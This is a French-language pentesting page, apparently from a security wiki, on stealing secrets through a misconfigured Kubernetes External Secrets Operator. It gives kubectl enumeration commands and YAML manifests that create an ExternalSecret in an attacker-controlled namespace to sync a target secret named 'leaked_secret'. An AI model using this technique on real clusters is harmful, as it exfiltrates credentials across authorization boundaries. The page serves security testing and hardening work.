Kubernetes External Secret Operator

L'auteur original de cette page est Fares

Cette page donne quelques indications sur la manière dont vous pouvez réussir à voler des secrets à partir d'un ESO mal configuré ou d'une application qui utilise un ESO pour synchroniser ses secrets.

Avertissement

La technique présentée ci-dessous ne peut fonctionner que lorsque certaines circonstances sont réunies. Par exemple, cela dépend des exigences nécessaires pour permettre à un secret d'être synchronisé dans un espace de noms que vous possédez / compromis. Vous devez le découvrir par vous-même.

Prérequis

1. Une empreinte dans un cluster kubernetes / openshift avec des privilèges d'administrateur sur un espace de noms

2. Accès en lecture au moins à ExternalSecret au niveau du cluster

3. Découvrez s'il y a des libellés / annotations requis ou une appartenance à un groupe nécessaire qui permet à l'ESO de synchroniser votre secret. Si vous avez de la chance, vous pouvez voler librement tout secret défini.

Collecte d'informations sur les ClusterSecretStore existants

En supposant que vous avez un utilisateur ayant suffisamment de droits pour lire cette ressource; commencez par lister d'abord les ClusterSecretStores existants.

kubectl get ClusterSecretStore

Énumération des ExternalSecret

Supposons que vous ayez trouvé un ClusterSecretStore nommé mystore. Continuez en énumérant ses externalsecret associés.

kubectl get externalsecret -A | grep mystore

Cette ressource est limitée à l'espace de noms, donc à moins que vous ne sachiez déjà dans quel espace de noms chercher, ajoutez l'option -A pour rechercher dans tous les espaces de noms.

Vous devriez obtenir une liste des externalsecrets définis. Supposons que vous ayez trouvé un objet externalsecret appelé mysecret défini et utilisé par l'espace de noms mynamespace. Rassemblez un peu plus d'informations sur le type de secret qu'il contient.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Assemblage des pièces

À partir d'ici, vous pouvez obtenir le nom d'un ou de plusieurs noms de secret (comme défini dans la ressource Secret). Vous obtiendrez une sortie similaire à :

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

* Nommez un ClusterSecretStore
* Nom d'un ExternalSecret
* Nom du secret

Maintenant que nous avons tout ce dont nous avons besoin, vous pouvez créer un ExternalSecret (et éventuellement patcher/créer un nouveau Namespace pour vous conformer aux prérequis nécessaires pour synchroniser votre nouveau secret) :

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret

kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Après quelques minutes, si les conditions de synchronisation sont remplies, vous devriez pouvoir voir le secret divulgué dans votre espace de noms.

kubectl get secret leaked_secret -o yaml

Références

Introduction - External Secrets Operator

GitHub - external-secrets/external-secrets: External Secrets Operator reads information from a third-party service like AWS Secrets Manager and automatically injects the values as Kubernetes Secrets.GitHub